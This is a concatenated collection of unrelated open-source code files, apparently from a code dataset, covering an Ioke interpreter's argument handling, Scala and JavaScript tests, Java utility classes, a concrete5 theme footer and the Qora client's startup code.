IokeObject condition = IokeObject.As(IokeObject.GetCellChain(runtime.Condition,
message,
context,
"Error",
"Invocation",
"TooFewArguments"), context).Mimic(message, context);
condition.SetCell("message", message);
condition.SetCell("context", context);
condition.SetCell("receiver", on);
condition.SetCell("missing", runtime.NewNumber(min-argCount));
runtime.ErrorCondition(condition);
} else {
IokeObject condition = IokeObject.As(IokeObject.GetCellChain(runtime.Condition,
message,
context,
"Error",
"Invocation",
"TooManyArguments"), context).Mimic(message, context);
condition.SetCell("message", message);
condition.SetCell("context", context);
condition.SetCell("receiver", on);
condition.SetCell("extra", runtime.NewList(ArrayList.Adapter(arguments).GetRange(max, finalArgCount-max)));
runtime.WithReturningRestart("ignoreExtraArguments", context, () => {runtime.ErrorCondition(condition);});
argCount = max;
}
}
return argCount;
}
private class NewArgumentGivingRestart : Restart.ArgumentGivingRestart {
string argname;
public NewArgumentGivingRestart(string name) : this(name, "newArguments") {}
public NewArgumentGivingRestart(string name, string argname) : base(name) {
this.argname = argname;
}
public override IList<string> ArgumentNames {
get { return new SaneList<string>() {argname}; }
}
}
public int GetEvaluatedArguments(IokeObject context, IokeObject message, object on, IList argumentsWithoutKeywords, IDictionary<string, object> givenKeywords) {
Runtime runtime = context.runtime;
IList arguments = message.Arguments;
int argCount = 0;
foreach(object o in arguments) {
if(Message.IsKeyword(o)) {
givenKeywords[IokeObject.As(o, context).Name] = Message.GetEvaluatedArgument(((Message)IokeObject.dataOf(o)).next, context);
} else if(Message.HasName(o, "*") && IokeObject.As(o, context).Arguments.Count == 1) { // Splat
object result = Message.GetEvaluatedArgument(IokeObject.As(o, context).Arguments[0], context);
if(IokeObject.dataOf(result) is IokeList) {
IList elements = IokeList.GetList(result);
foreach(object ox in elements) argumentsWithoutKeywords.Add(ox);
argCount += elements.Count;
} else if(IokeObject.dataOf(result) is Dict) {
IDictionary keys = Dict.GetMap(result);
foreach(DictionaryEntry me in keys) {
givenKeywords[Text.GetText(IokeObject.ConvertToText(me.Key, message, context, true)) + ":"] = me.Value;
}
} else {
IokeObject condition = IokeObject.As(IokeObject.GetCellChain(runtime.Condition,
message,
context,
"Error",
"Invocation",
"NotSpreadable"), context).Mimic(message, context);
condition.SetCell("message", message);
condition.SetCell("context", context);
condition.SetCell("receiver", on);
condition.SetCell("given", result);
IList outp = IokeList.GetList(runtime.WithRestartReturningArguments(()=>{runtime.ErrorCondition(condition);},
context,
new Restart.DefaultValuesGivingRestart("ignoreArgument", runtime.nil, 0),
new Restart.DefaultValuesGivingRestart("takeArgumentAsIs", IokeObject.As(result, context), 1)
));
foreach(object ox in outp) argumentsWithoutKeywords.Add(ox);
argCount += outp.Count;
}
} else {
argumentsWithoutKeywords.Add(Message.GetEvaluatedArgument(o, context));
argCount++;
}
}
while(argCount < min || (max != -1 && argCount > max)) {
int finalArgCount = argCount;
if(argCount < min) {
IokeObject condition = IokeObject.As(IokeObject.GetCellChain(runtime.Condition,
message,
context,
"Error",
"Invocation",
"TooFewArguments"), context).Mimic(message, context);
condition.SetCell("message", message);
condition.SetCell("context", context);
condition.SetCell("receiver", on);
condition.SetCell("missing", runtime.NewNumber(min-argCount));
IList newArguments = IokeList.GetList(runtime.WithRestartReturningArguments(()=>{runtime.ErrorCondition(condition);},
context,
new NewArgumentGivingRestart("provideExtraArguments"),
new Restart.DefaultValuesGivingRestart("substituteNilArguments", runtime.nil, min-argCount)));
foreach(object ox in newArguments) argumentsWithoutKeywords.Add(ox);
argCount += newArguments.Count;
} else {
IokeObject condition = IokeObject.As(IokeObject.GetCellChain(runtime.Condition,
message,
context,
"Error",
"Invocation",
"TooManyArguments"), context).Mimic(message, context);
condition.SetCell("message", message);
condition.SetCell("context", context);
condition.SetCell("receiver", on);
condition.SetCell("extra", runtime.NewList(ArrayList.Adapter(argumentsWithoutKeywords).GetRange(max, finalArgCount-max)));
runtime.WithReturningRestart("ignoreExtraArguments", context, ()=>{runtime.ErrorCondition(condition);});
argCount = max;
}
}
var intersection = new SaneHashSet<string>(givenKeywords.Keys);
foreach(string k in keywords) intersection.Remove(k);
if(krest == null && intersection.Count > 0) {
IokeObject condition = IokeObject.As(IokeObject.GetCellChain(runtime.Condition,
message,
context,
"Error",
"Invocation",
"MismatchedKeywords"), context).Mimic(message, context);
condition.SetCell("message", message);
condition.SetCell("context", context);
condition.SetCell("receiver", on);
IList expected = new SaneArrayList();
foreach(string s in keywords) {
expected.Add(runtime.NewText(s));
}
condition.SetCell("expected", runtime.NewList(expected));
IList extra = new SaneArrayList();
foreach(string s in intersection) {
extra.Add(runtime.NewText(s));
}
condition.SetCell("extra", runtime.NewList(extra));
runtime.WithReturningRestart("ignoreExtraKeywords", context, ()=>{runtime.ErrorCondition(condition);});
}
return argCount;
}
public void AssignArgumentValues(IokeObject locals, IokeObject context, IokeObject message, object on, Call call) {
if(call.cachedPositional != null) {
AssignArgumentValues(locals, context, message, on, call.cachedPositional, call.cachedKeywords, call.cachedArgCount);
} else {
IList argumentsWithoutKeywords = new SaneArrayList();
IDictionary<string, object> givenKeywords = new SaneDictionary<string, object>();
int argCount = GetEvaluatedArguments(context, message, on, argumentsWithoutKeywords, givenKeywords);
call.cachedPositional = argumentsWithoutKeywords;
call.cachedKeywords = givenKeywords;
call.cachedArgCount = argCount;
AssignArgumentValues(locals, context, message, on, argumentsWithoutKeywords, givenKeywords, argCount);
}
}
public void AssignArgumentValues(IokeObject locals, IokeObject context, IokeObject message, object on) {
IList argumentsWithoutKeywords = new SaneArrayList();
IDictionary<string, object> givenKeywords = new SaneDictionary<string, object>();
int argCount = GetEvaluatedArguments(context, message, on, argumentsWithoutKeywords, givenKeywords);
AssignArgumentValues(locals, context, message, on, argumentsWithoutKeywords, givenKeywords, argCount);
}
private void AssignArgumentValues(IokeObject locals, IokeObject context, IokeObject message, object on, IList argumentsWithoutKeywords, IDictionary<string, object> givenKeywords, int argCount) {
Runtime runtime = context.runtime;
var intersection = new SaneHashSet<string>(givenKeywords.Keys);
foreach(string k in keywords) intersection.Remove(k);
int ix = 0;
for(int i=0, j=this.arguments.Count;i<j;i++) {
Argument a = this.arguments[i];
if(a is KeywordArgument) {
string nm = a.Name + ":";
object result = null;
if(givenKeywords.ContainsKey(nm)) {
object given = givenKeywords[nm];
result = given;
locals.SetCell(a.Name, result);
} else {
object defVal = ((KeywordArgument)a).DefaultValue;
if(!(defVal is string)) {
IokeObject m1 = IokeObject.As(defVal, context);
result = ((Message)IokeObject.dataOf(m1)).EvaluateCompleteWithoutExplicitReceiver(m1, locals, locals.RealContext);
locals.SetCell(a.Name, result);
}
}
} else if((a is OptionalArgument) && ix>=argCount) {
object defVal = ((OptionalArgument)a).DefaultValue;
if(!(defVal is string)) {
IokeObject m2 = IokeObject.As(defVal, context);
locals.SetCell(a.Name, ((Message)IokeObject.dataOf(m2)).EvaluateCompleteWithoutExplicitReceiver(m2, locals, locals.RealContext));
}
} else {
locals.SetCell(a.Name, argumentsWithoutKeywords[ix++]);
}
}
if(krest != null) {
var krests = new SaneHashtable();
foreach(string s in intersection) {
object given = givenKeywords[s];
object result = given;
krests[runtime.GetSymbol(s.Substring(0, s.Length-1))] = result;
}
locals.SetCell(krest, runtime.NewDict(krests));
}
if(rest != null) {
IList rests = new SaneArrayList();
for(int j=argumentsWithoutKeywords.Count;ix<j;ix++) {
rests.Add(argumentsWithoutKeywords[ix]);
}
locals.SetCell(rest, runtime.NewList(rests));
}
}
public static DefaultArgumentsDefinition CreateFrom(IList args, int start, int end, IokeObject message, object on, IokeObject context) {
Runtime runtime = context.runtime;
IList<Argument> arguments = new SaneList<Argument>();
IList<string> keywords = new SaneList<string>();
int min = 0;
int max = 0;
bool hadOptional = false;
string rest = null;
string krest = null;
foreach(object obj in ArrayList.Adapter(args).GetRange(start, end-start)) {
Message m = (Message)IokeObject.dataOf(obj);
string mname = m.Name;
if(!"+:".Equals(mname) && m.IsKeyword()) {
string name = mname;
IokeObject dValue = context.runtime.nilMessage;
if(m.next != null) {
dValue = m.next;
}
arguments.Add(new KeywordArgument(name.Substring(0, name.Length-1), dValue));
keywords.Add(name);
} else if(mname.Equals("+")) {
string name = Message.GetName(m.Arguments(null)[0]);
if(name.StartsWith(":")) {
krest = name.Substring(1);
} else {
rest = name;
max = -1;
}
hadOptional = true;
} else if(mname.Equals("+:")) {
string name = m.next != null ? Message.GetName(m.next) : Message.GetName(m.Arguments(null)[0]);
krest = name;
hadOptional = true;
} else if(m.next != null) {
string name = mname;
hadOptional = true;
if(max != -1) {
max++;
}
arguments.Add(new OptionalArgument(name, m.next));
} else {
if(hadOptional) {
int index = IndexOf(args, obj) + start;
IokeObject condition = IokeObject.As(IokeObject.GetCellChain(runtime.Condition,
message,
context,
"Error",
"Invocation",
"ArgumentWithoutDefaultValue"), context).Mimic(message, context);
condition.SetCell("message", message);
condition.SetCell("context", context);
condition.SetCell("receiver", on);
condition.SetCell("argumentName", runtime.GetSymbol(m.Name));
condition.SetCell("index", runtime.NewNumber(index));
IList newValue = IokeList.GetList(runtime.WithRestartReturningArguments(()=>{runtime.ErrorCondition(condition);},
context,
new NewArgumentGivingRestart("provideDefaultValue", "defaultValue"),
new Restart.DefaultValuesGivingRestart("substituteNilDefault", runtime.nil, 1)));
if(max != -1) {
max++;
}
arguments.Add(new OptionalArgument(m.Name, runtime.CreateMessage(Message.Wrap(IokeObject.As(newValue[0], context)))));
} else {
min++;
max++;
arguments.Add(new Argument(IokeObject.As(obj, context).Name));
}
}
}
return new DefaultArgumentsDefinition(arguments, keywords, rest, krest, min, max, false);
}
public class Builder {
protected int min = 0;
protected int max = 0;
protected IList<Argument> arguments = new SaneList<Argument>();
protected ICollection<string> keywords = new SaneHashSet<string>();
protected string rest = null;
protected string krest = null;
protected bool restUneval = false;
public virtual Builder WithRequiredPositionalUnevaluated(string name) {
arguments.Add(new UnevaluatedArgument(name, true));
min++;
if(max != -1) {
max++;
}
return this;
}
public virtual Builder WithOptionalPositionalUnevaluated(string name) {
arguments.Add(new UnevaluatedArgument(name, false));
if(max != -1) {
max++;
}
return this;
}
public virtual Builder WithRestUnevaluated(string name) {
rest = name;
restUneval = true;
max = -1;
return this;
}
public virtual Builder WithRest(string name) {
rest = name;
max = -1;
return this;
}
public virtual Builder WithKeywordRest(string name) {
krest = name;
return this;
}
public virtual Builder WithKeywordRestUnevaluated(string name) {
krest = name;
restUneval = true;
return this;
}
public virtual Builder WithRequiredPositional(string name) {
arguments.Add(new Argument(name));
min++;
if(max != -1) {
max++;
}
return this;
}
public virtual Builder WithKeyword(string name) {
arguments.Add(new KeywordArgument(name, "nil"));
keywords.Add(name + ":");
return this;
}
public virtual Builder WithOptionalPositional(string name, string defaultValue) {
arguments.Add(new OptionalArgument(name, defaultValue));
if(max != -1) {
max++;
}
return this;
}
public virtual DefaultArgumentsDefinition Arguments {
get { return new DefaultArgumentsDefinition(arguments, keywords, rest, krest, min, max, restUneval); }
}
}
public static Builder builder() {
return new Builder();
}
}
}
| mit |
guilload/progfun | patmat/src/test/scala/patmat/HuffmanSuite.scala | 2110 | package patmat
import org.scalatest.FunSuite
import org.junit.runner.RunWith
import org.scalatest.junit.JUnitRunner
import patmat.Huffman._
@RunWith(classOf[JUnitRunner])
class HuffmanSuite extends FunSuite {
trait TestTrees {
val t1 = Fork(Leaf('a', 2), Leaf('b', 3), List('a', 'b'), 5)
val t2 = Fork(Fork(Leaf('a', 2), Leaf('b', 3), List('a', 'b'), 5), Leaf('d', 4), List('a', 'b', 'd'), 9)
}
test("weight of a larger tree") {
new TestTrees {
assert(weight(t1) === 5)
}
}
test("chars of a larger tree") {
new TestTrees {
assert(chars(t2) === List('a', 'b', 'd'))
}
}
test("string2chars(\"hello, world\")") {
assert(string2Chars("hello, world") === List('h', 'e', 'l', 'l', 'o', ',', ' ', 'w', 'o', 'r', 'l', 'd'))
}
test("times") {
new TestTrees {
assert(times(List('a', 'b', 'a')) === List(('a', 2),('b', 1)))
}
}
test("makeOrderedLeafList for some frequency table") {
assert(makeOrderedLeafList(List(('t', 2), ('z', 1), ('x', 3))) === List(Leaf('z',1), Leaf('t',2), Leaf('x',3)))
}
test("combine of some leaf list") {
val leaflist = List(Leaf('e', 1), Leaf('t', 2), Leaf('x', 4))
assert(combine(leaflist) === List(Fork(Leaf('e',1),Leaf('t',2),List('e', 't'),3), Leaf('x',4)))
}
test("decode") {
new TestTrees {
assert(decode(t2, List(0, 0)) === "a".toList)
assert(decode(t2, List(0, 1)) === "b".toList)
assert(decode(t2, List(1)) === "d".toList)
assert(decode(t2, List(0, 0, 0, 1, 1)) === "abd".toList)
}
}
test("encode") {
new TestTrees {
assert(encode(t2)("a".toList) === List(0, 0))
assert(encode(t2)("b".toList) === List(0, 1))
assert(encode(t2)("d".toList) === List(1))
assert(encode(t2)("abd".toList) === List(0, 0, 0, 1, 1))
}
}
test("decode and encode a very short text should be identity") {
new TestTrees {
assert(decode(t1, encode(t1)("ab".toList)) === "ab".toList)
}
}
test("quickEncode") {
new TestTrees {
assert(encode(t2)("ab".toList) === quickEncode(t2)("ab".toList))
}
}
}
| mit |
bekseitn/edu | spec/views/specializations/index.html.erb_spec.rb | 129 | require 'spec_helper'
describe "specializations/index.html.erb" do
pending "add some examples to (or delete) #{__FILE__}"
end
| mit |
lucasdavid/Dust-cleaner | projects/assignment-player-2/src/gatech/mmpm/util/Pair.java | 677 | /* Copyright 2010 Santiago Ontanon and Ashwin Ram */
package gatech.mmpm.util;
public class Pair<T1, T2> implements java.io.Serializable {
/**
* Serial Version ID machine generated.
*/
private static final long serialVersionUID = 7433870752560497552L;
public T1 getFirst() {
return _a;
}
public void setFirst(T1 a) {
_a = a;
}
public void setSecond(T2 b) {
_b = b;
}
public T2 getSecond() {
return _b;
}
public T1 _a;
public T2 _b;
public Pair(T1 a,T2 b) {
_a = a;
_b = b;
}
public boolean equals(Object o) {
if (o instanceof Pair) {
return _a.equals(((Pair<T1,T2>)o)._a) && _b.equals(((Pair)o)._b);
}
return false;
}
}
| mit |
iliyaST/TelerikAcademy | OOP/7-Exams/12-December-2013/01.WarMachines/WarMachines-Skeleton/WarMachines/Machines/Machine.cs | 1877 |
namespace WarMachines.Machines
{
using Common;
using Common.Enum;
using System;
using System.Collections.Generic;
using System.Text;
using WarMachines.Interfaces;
public class Machine : IMachine
{
private string name;
public Machine(string name, double attackPoints, double defensePoints)
{
this.Name = name;
this.AttackPoints = attackPoints;
this.DefensePoints = defensePoints;
this.Targets = new List<string>();
}
public MachineType MachineType { get; set; }
public double AttackPoints { get; protected set; }
public double DefensePoints { get; protected set; }
public double HealthPoints { get; set; }
public string Name
{
get
{
return this.name;
}
set
{
Validator.ValidateString(value, nameof(Name));
this.name = value;
}
}
public IPilot Pilot { get; set; }
public IList<string> Targets { get; }
public void Attack(string target)
{
throw new NotImplementedException();
}
public override string ToString()
{
var sb = new StringBuilder();
sb.AppendLine(String.Format(" *Health: {0}", this.HealthPoints));
sb.AppendLine(String.Format(" *Attack: {0}", this.AttackPoints));
sb.AppendLine(String.Format(" *Defense: {0}", this.DefensePoints));
if (this.Targets.Count == 0)
{
sb.AppendLine(" *Targets: None");
}
else
{
sb.AppendLine(String.Format(" *Targets: {0}", String.Join(", ", this.Targets)));
}
return sb.ToString();
}
}
}
| mit |
kitecom/ss_aws | packages/theme_neat/themes/neat/elements/footer.php | 2026 | <?php defined('C5_EXECUTE') or die("Access Denied.");
use Concrete\Core\Validation\CSRF\Token;
?>
<div class="row">
<div class="col-sm-12">
<div class="page-footer-container">
<?php
$a = new Area('Page Footer');
$a->setAreaGridMaximumColumns(12);
$a->display($c);
?>
</div>
</div>
</div>
</div>
</div><!-- ./site-content -->
<footer class="site-footer" role="contentinfo">
<div class="container">
<div class="row">
<div class="col-sm-6 footer-1">
<?php
$a = new GlobalArea('Footer');
$a->display();
?>
</div>
<div class="col-sm-6 footer-2">
<?php
$a = new GlobalArea('Footer Two');
$a->display();
?>
</div>
</div>
<div class="row">
<div class="col-sm-6 site-colophon">
</div>
<div class="col-sm-6 site-colophon">
<?php
// login link or logout form
if (!id(new User)->isLoggedIn()) {
?>
<a href="<?php echo URL::to('/login')?>"><?php echo t('Log in') ?></a>
<?php
} else {
$token = new Token();
?>
<form class="logout" action="<?php echo URL::to('/login', 'logout') ?>">
<?php id(new Token())->output('logout'); ?>
<a href="#" onclick="$(this).closest('form').submit();return false"><?php echo t('Log out') ?></a>
</form>
<?php
}
?>
</div>
</div>
</div>
</footer><!--end footer-->
</div><!--end c5wrapper-->
<script src="<?php echo $view->getThemePath()?>/js/bootstrap.min.js"></script>
<script src="<?php echo $view->getThemePath()?>/js/neat_stuff.js"></script>
<script src="<?php echo $view->getThemePath()?>/js/tooltipster.bundle.js"></script>
<script src="<?php echo $view->getThemePath()?>/js/tooltipster.main.js"></script>
<?php Loader::element('footer_required')?>
</body>
</html> | mit |
Ordinastie/MalisisCore | src/main/java/net/malisis/core/event/user/KeyboardEvent.java | 1307 | /*
* The MIT License (MIT)
*
* Copyright (c) 2014 Ordinastie
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
package net.malisis.core.event.user;
import net.minecraftforge.fml.common.eventhandler.Cancelable;
@Cancelable
public class KeyboardEvent extends UserEvent
{
}
| mit |
reck1610/spodr | lib/tasks/task.push.js | 524 | "use strict";
const BaseTask = require( "./_task" );
const GitWrapper = require( "./../git/git" );
class PushTask extends BaseTask {
// eslint-disable-next-line no-useless-constructor
constructor( repository, config ) {
super( repository, config );
}
process() {
this.git = new GitWrapper( this.repoPath );
this.git.prefix( this.repository.name );
return this.git.push();
}
}
function taskFactory( folder ) {
const task = new PushTask( folder );
return task.process();
}
module.exports = taskFactory;
| mit |
sodash/open-code | winterwell.nlp/src/com/winterwell/nlp/io/ATokenStream.java | 3161 | package com.winterwell.nlp.io;
import java.util.ArrayList;
import java.util.List;
import com.winterwell.depot.Desc;
import com.winterwell.depot.IHasDesc;
import com.winterwell.depot.ModularXML;
import com.winterwell.maths.timeseries.ADataStream;
import com.winterwell.utils.ReflectionUtils;
import com.winterwell.utils.containers.AbstractIterator;
/**
* A stream of word/sentence tokens.
* <p>
* In a slightly baroque but ultimately practical design decision, this doubles
* as a factory for token streams. Token streams are often linked into chains of
* processing. Class constructors would not be a good way to instantiate fresh
* chained streams.
* <p>
* To implement: Over-ride one of {@link #iterator()} or {@link #processFromBase(Tkn, AbstractIterator)}.
*
* @author daniel
* @see ADataStream which uses a similar design
*/
public abstract class ATokenStream implements ITokenStream {
@Override
public String toString() {
return getClass().getSimpleName() +(base==null?"" : " <- " + base);
}
/**
* A token stream is unlikely to have sub-modules.
* This method checks whether base is one.
*/
@Override
public IHasDesc[] getModules() {
if (base==null) return null;
if (base instanceof ModularXML) {
return new IHasDesc[]{base};
}
return base.getModules();
}
protected ATokenStream() {
this.base = null;
}
protected ATokenStream(ITokenStream base) {
this.base = base;
desc.addDependency("bs", base.getDesc());
}
/**
* This is a description of the stream-as-a-factory, & not of the specific-to-this-input stream itself!
* Implementations must set parameters in the constructor & setter methods.
*/
@Override
public final Desc<ITokenStream> getDesc() {
return desc;
}
protected final Desc<ITokenStream> desc = new Desc<ITokenStream>(
ReflectionUtils.getSimpleName(getClass()), ITokenStream.class);
/**
* null for a top-level stream.
*/
protected final ITokenStream base;
/**
* Provides an iterator for chaining token-streams ONLY.
* Other sub-classes should override either this or {@link #processFromBase(Tkn)}.
*/
@Override
public AbstractIterator<Tkn> iterator() {
final AbstractIterator<Tkn> bit = base.iterator();
return new AbstractIterator<Tkn>() {
@Override
protected Tkn next2() throws Exception {
while(bit.hasNext()) {
Tkn original = bit.next();
Tkn token = processFromBase(original, bit);
if (token==null) continue;
return token;
}
return null;
}
};
}
/**
* Work with the default iterator implementation
* (which reads from {@link #base}, passing through this method).
* @param original
* @param bit
* @return token to return, or null to skip this token
*/
protected Tkn processFromBase(Tkn original, AbstractIterator<Tkn> bit) {
throw new UnsupportedOperationException(getClass().getName());
}
/**
* Override this if you can't be a factory!
*/
@Override
public boolean isFactory() {
return true;
}
@Override
public List<Tkn> toList() {
List<Tkn> list = new ArrayList<Tkn>();
for (Tkn tok : this) {
list.add(tok);
}
return list;
}
}
| mit |
alv-ch/alv-ch-ng | test/unit/ui/alv-ch-ng.ui-scroll.directive.scrollUp.unit.spec.js | 1661 | ;(function () {
describe('scrollUp directive', function () {
var elem, scope;
beforeEach(module('alv-ch-ng.ui-scroll'));
beforeEach(inject(function ($rootScope, $compile) {
scope = $rootScope;
elem = angular.element('<html><body><div scroll-up="bottom">testContent</div><div scroll-fix-bottom id="bottom">testBottom</div></body></html>');
$compile(elem)(scope);
scope.$digest();
}));
it('renders the element as required.', function () {
expect(elem.children('body')).toBeTruthy();
expect(elem.find('body#document-top')).toBeTruthy();
expect(elem.children('body').find('#scroll-up')).toBeTruthy();
});
it('check scrollTop function.', function () {
spyOn(scope, '$broadcast').and.callThrough();
scope.scrollTop();
scope.$digest();
expect(scope.$broadcast).toHaveBeenCalledWith('alv-ch-ng:dom-manipulate', {'id':'document-top','event':'scrollUp:scrollTop'});
});
it('renders the element as required in a body-tag.',
function() {
inject(function ($compile) {
elem = angular.element('<html><body><div scroll-up>testContent</div></body></html>');
$compile(elem)(scope);
scope.$digest();
expect(elem.children('body')).toBeTruthy();
expect(elem.find('body#document-top')).toBeTruthy();
expect(elem.children('body').find('#scroll-up')).toBeTruthy();
});
}
);
});
}()); | mit |
Tutu1993/MVC | app/ctrl/focusCtrl.php | 429 | <?php
namespace App\Ctrl;
use Core\Core;
use App\Model\Database;
class focusCtrl extends Core
{
public function __construct()
{
if (!isset(parent::$action)) {
$this->index();
}
}
public function index()
{
// $database = new Database('info');
$data = [
'title' => '行业聚焦'
];
$this->assign($data);
$this->display('focus.html');
}
}
| mit |
bahrus/xtal | src/xtal-lattice.js | 1647 | var xtal;
(function (xtal) {
var elements;
(function (elements) {
class XtalLattice extends HTMLElement {
constructor() {
super();
this._data = this.data;
}
connectedCallback() {
if (this._data !== undefined)
this.updateDOM();
}
get data() {
return this._data;
}
set data(newVal) {
this._data = newVal;
if (this._data !== undefined)
this.updateDOM();
}
updateDOM() {
if (this._els === undefined) {
this._els = [];
const els = this._els;
this.querySelectorAll('[data-rc]').forEach((el) => {
const rc = el.dataset.rc;
const rcArr = rc.split(',').map(s => parseInt(s));
const rowNum = rcArr[0];
if (els[rowNum] === undefined)
els[rowNum] = [];
els[rowNum][rcArr[1]] = el;
});
}
this._data.forEach((row, idx) => {
row.forEach((cell, jdx) => {
const el = this._els[idx][jdx];
el.innerText = cell;
});
});
}
}
customElements.define('xtal-lattice', XtalLattice);
})(elements = xtal.elements || (xtal.elements = {}));
})(xtal || (xtal = {}));
//# sourceMappingURL=xtal-lattice.js.map | mit |
dolanmiu/ng-color | src/shared/shared.module.ts | 442 | import { CommonModule } from '@angular/common';
import { NgModule } from '@angular/core';
import { ColorUtilityService } from './color-utility/color-utility.service';
import { MouseHandlerDirective } from './mouse-handler/mouse-handler.directive';
@NgModule({
imports: [CommonModule],
declarations: [MouseHandlerDirective],
exports: [MouseHandlerDirective],
providers: [ColorUtilityService],
})
export class SharedModule {}
| mit |
ChristianMurphy/nicest | modules/code-project/handler/confirm.js | 5807 | 'use strict';
/**
* @module code-project/handler/confirm
*/
const gatherGithubUsers = require('../task/gather-github-users');
const createGithubRepositories = require('../task/create-github-repositories');
const createTaigaBoards = require('../task/create-taiga-boards');
const gatherSlackMetadata = require('../task/gather-slack-metadata');
const createSlackChannels = require('../task/create-slack-channels');
const seedGitRepositories = require('../task/seed-git-repositories');
const configureCaDashboard = require('../task/configure-ca-dashboard');
const gatherProjectMetadata = require('../task/gather-project-metadata');
/**
* Actually generates the project across all the services
* @param {Request} request - Hapi request
* @param {Reply} reply - Hapi Reply
* @returns {Null} responds with a redirect
*/
async function confirm (request, reply) {
const {prefix} = request.route.realm.modifiers.route;
const githubUsername = request.auth.credentials.profile.username;
const githubToken = request.auth.credentials.token;
const seedRepository = request.yar.get('github-project-repo');
const course = request.yar.get('code-project-course');
const students = request.yar.get('code-project-students');
const isPrivate = request.yar.get('github-project-is-private');
const hasWiki = request.yar.get('github-project-has-wiki');
const hasIssueTracker = request.yar.get('github-project-has-issue-tracker');
const studentType = request.yar.get('code-project-student-type');
const useTaiga = request.yar.get('taiga-project-use-taiga');
const useSlack = request.yar.get('slack-project-use-slack');
const slackToken = request.yar.get('slack-project-access-token');
const useAssessment = request.yar.get('assessment-use-ca-dashboard');
let githubRepositories = null;
let slackChannels = null;
let taigaToken = null;
try {
// Gather Github user information from Users/Teams
const temporaryGithubRepositories = await gatherGithubUsers(
seedRepository,
githubUsername,
studentType,
students
);
// Create repostories
githubRepositories = temporaryGithubRepositories;
await createGithubRepositories(
githubUsername,
githubToken,
githubRepositories,
{
has_issues: hasIssueTracker,
has_wiki: hasWiki,
private: isPrivate
}
);
// Create Taiga boards
if (useTaiga) {
const taigaUsername = request.yar.get('taiga-username');
const taigaPassword = request.yar.get('taiga-password');
const taigaOptions = {
description: request.yar.get('taiga-project-description'),
isBacklogActived: request.yar.get('taiga-project-has-backlog'),
isIssuesActived: request.yar.get('taiga-project-has-issues'),
isKanbanActivated: request.yar.get('taiga-project-has-kanban'),
isPrivate: request.yar.get('taiga-project-is-private'),
isWikiActivated: request.yar.get('taiga-project-has-wiki')
};
taigaToken = await createTaigaBoards(
taigaUsername,
taigaPassword,
githubRepositories,
taigaOptions
);
}
// Create Slack channels
if (useSlack) {
const accessToken = request.yar.get('slack-project-access-token');
const courseChannelNames = request.yar.get('slack-project-course-channel-names');
const teamChannelNames = request.yar.get('slack-project-team-channel-names');
// Gather Slack user information from Users/Teams
const slackMetadata = await gatherSlackMetadata(
courseChannelNames,
teamChannelNames,
students
);
// Create the channels
const {channels} = slackMetadata;
const {users} = slackMetadata;
const slackChannelMap = await createSlackChannels(
accessToken,
channels,
users
);
slackChannels = slackChannelMap;
}
if (useAssessment) {
// Gather CA Dashboard users
const caConfiguration = await gatherProjectMetadata(
seedRepository,
githubUsername,
githubToken,
studentType,
students,
course,
slackToken,
slackChannels,
taigaToken
);
const cassessUsername = request.yar.get('cassess-username');
const cassessPassword = request.yar.get('cassess-password');
const cassessUrl = request.yar.get('cassess-endpoint');
// Setup CA Dashboard
await configureCaDashboard(
cassessUsername,
cassessPassword,
cassessUrl,
caConfiguration
);
}
// Add seed code to repositories
const seedRepositoryURL = `https://github.com/${githubUsername}/${(/[a-z0-9-]+$/i).exec(seedRepository)}`;
const githubUrls = githubRepositories.map((element) => element.url);
await seedGitRepositories(
githubUsername,
githubToken,
seedRepositoryURL,
githubUrls
);
// Success redirect
reply().redirect(`${prefix}/recipe/code-project/success`);
} catch (err) {
request.log('error', err.toString());
reply().redirect(`${prefix}/recipe/code-project/error`);
}
}
module.exports = confirm;
| mit |
Bitcoinsulting/Qora | Qora/src/Start.java | 1922 | import gui.Gui;
import java.util.Scanner;
import javax.swing.JOptionPane;
import javax.swing.UIManager;
import api.ApiClient;
import controller.Controller;
import settings.Settings;
import utils.SysTray;
public class Start {
public static void main(String args[])
{
boolean cli = false;
for(String arg: args)
{
if(arg.equals("-cli"))
{
cli = true;
}
}
if(!cli)
{
try
{
//ONE MUST BE ENABLED
if(!Settings.getInstance().isGuiEnabled() && !Settings.getInstance().isRpcEnabled())
{
throw new Exception("Both gui and rpc cannot be disabled!");
}
//STARTING NETWORK/BLOCKCHAIN/RPC
Controller.getInstance().start();
try
{
if(Settings.getInstance().isGuiEnabled())
{
//START GUI
if(Gui.getInstance() != null)
{
SysTray.getInstance().createTrayIcon();
}
}
} catch(Exception e) {
System.out.println("GUI ERROR: " + e.getMessage());
}
} catch(Exception e) {
e.printStackTrace();
//USE SYSTEM STYLE
try {
UIManager.setLookAndFeel(UIManager.getSystemLookAndFeelClassName());
} catch (Exception e2) {
e2.printStackTrace();
}
//ERROR STARTING
System.out.println("STARTUP ERROR: " + e.getMessage());
if(Gui.isGuiStarted())
{
JOptionPane.showMessageDialog(null, e.getMessage(), "Startup Error", JOptionPane.ERROR_MESSAGE);
}
//FORCE SHUTDOWN
System.exit(0);
}
}
else
{
Scanner scanner = new Scanner(System.in);
ApiClient client = new ApiClient();
while(true)
{
System.out.print("[COMMAND] ");
String command = scanner.nextLine();
if(command.equals("quit"))
{
scanner.close();
System.exit(0);
}
String result = client.executeCommand(command);
System.out.println("[RESULT] " + result);
}
}
}
}
| mit |
demiurghg/FusionFramework | Fusion/Content/StringArrayLoader.cs | 1585 | using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.IO;
namespace Fusion.Content {
/// <summary>
/// Loads string from text file.
/// </summary>
[ContentLoader(typeof(string[]))]
class StringArrayLoader : ContentLoader {
/// <summary>
///
/// </summary>
